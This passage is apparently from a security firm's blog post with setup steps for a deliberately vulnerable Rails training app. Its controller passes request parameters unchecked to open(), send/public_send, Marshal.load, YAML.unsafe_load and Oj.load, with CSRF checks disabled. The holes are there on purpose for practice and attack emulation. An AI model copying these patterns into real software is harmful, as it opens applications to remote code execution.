class ArticlesController < ApplicationController skip_before_action :verify_authenticity_token def index @result_article = Article.new(param1: "param1", param2: "") @send_article = Article.new(param1: "send", param2: "") begin # OS command injection via insecure use of "open" if params[:url] @result_article.param1 = "params[:url]" @result_article.param2 = open(params[:url]) end # Dangerous use of "Send" - standard variation if params[:send_method_name] if params[:send_argument] @result_article.param1 = params[:send_method_name] + ", " + params[:send_argument] begin @send_article.send(params[:send_method_name], params[:send_argument]) rescue Exception => e @result_article.param2 = e.message end end end # Dangerous use of "Send" - splat variation if params[:send_value] @result_article.param1 = params[:send_value] begin @send_article.send(*params[:send_value]) rescue Exception => e @result_article.param2 = e.message end end # Dangerous use of "Public Send" - standard variation if params[:public_send_method_name] if params[:public_send_argument] @result_article.param1 = params[:public_send_method_name] + ", " + params[:public_send_argument] begin @send_article.public_send(params[:public_send_method_name], params[:public_send_argument]) rescue Exception => e @result_article.param2 = e.message end end end # Dangerous use of "Public Send" - splat variation if params[:public_send_value] @result_article.param1 = params[:public_send_value] begin @send_article.public_send(*params[:public_send_value]) rescue Exception => e @result_article.param2 = e.message end end # Base64-encoded binary deserialization RCE vulnerability if params[:base64binary] @result_article.param1 = params[:base64binary] @result_article.param2 = Marshal.load(Base64.decode64(params[:base64binary])) end # YAML deserialization RCE vulnerability if params[:yaml] # if the psych gem is < 4.0, use this line: #@result_article.param2 = YAML.load(params[:yaml]) # if the psych gem is 4.0 or later, use this line instead: @result_article.param2 = YAML.unsafe_load(params[:yaml]) end # OJ-based JSON deserialization RCE vulnerability if params[:oj] @result_article.param1 = "params[:oj]" if params[:oj_mode] @oj_options = Oj.default_options if params[:oj_mode] == "compat" @oj_options = { :mode => :compat } end if params[:oj_mode] == "custom" @oj_options = { :mode => :custom } end if params[:oj_mode] == "json" @oj_options = { :mode => :json } end if params[:oj_mode] == "null" @oj_options = { :mode => :null } end if params[:oj_mode] == "object" @oj_options = { :mode => :object } end if params[:oj_mode] == "rails" @oj_options = { :mode => :rails } end if params[:oj_mode] == "strict" @oj_options = { :mode => :strict } end if params[:oj_mode] == "wab" @oj_options = { :mode => :wab } end @result_article.param2 = Oj.load(params[:oj], options = @oj_options) else @result_article.param2 = Oj.load(params[:oj]) end end #rescue Exception => e2 # @result_article = Article.new(param1: e2.message, param2: "") end end end
5. If you have a version of the psych gem older than 4.0.0 installed, comment out the line that reads @result_article.param2 = YAML.unsafe_load(params[:yaml])
and uncomment the line that reads @result_article.param2 = YAML.load(params[:yaml])
6. Replace the contents of app/views/articles/index.html.erb
with the following:
<h1>Vulnerable Ruby on Rails App</h1> <p>@result_article = <%= @result_article %></p> <p>@result_article.param1 = <%= @result_article.param1 %></p> <p>@result_article.param2 = <%= @result_article.param2 %></p>
7. Add these lines to the Gemfile:
gem "oj", '3.13.1' gem "open-uri"
8. Run the following command:
bundle install
9. Run the following command to start a test instance of the application:
bin/rails server
10. ...or, to listen on all interfaces:
bin/rails server -b 0.0.0.0
Hear This All Live!
Join us for our next Tool Talk webcast where I breakdown my new vulnerable application, why it would be a helpful tool for practitioners, and how to use it for attack emulations. REGISTER HERE
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.
Recommended Posts
You might be interested in these related posts.
Nov 01, 2024
A Brief Look at FortiJump (FortiManager CVE-2024-47575)
Sep 24, 2024
Broken Hill: A Productionized Greedy Coordinate Gradient Attack Tool for Use Against Large Language Models
Sep 11, 2024
Exploring Large Language Models: Local LLM CTF & Lab
Jul 02, 2024
Product Security Review Methodology for Traeger Grill Hack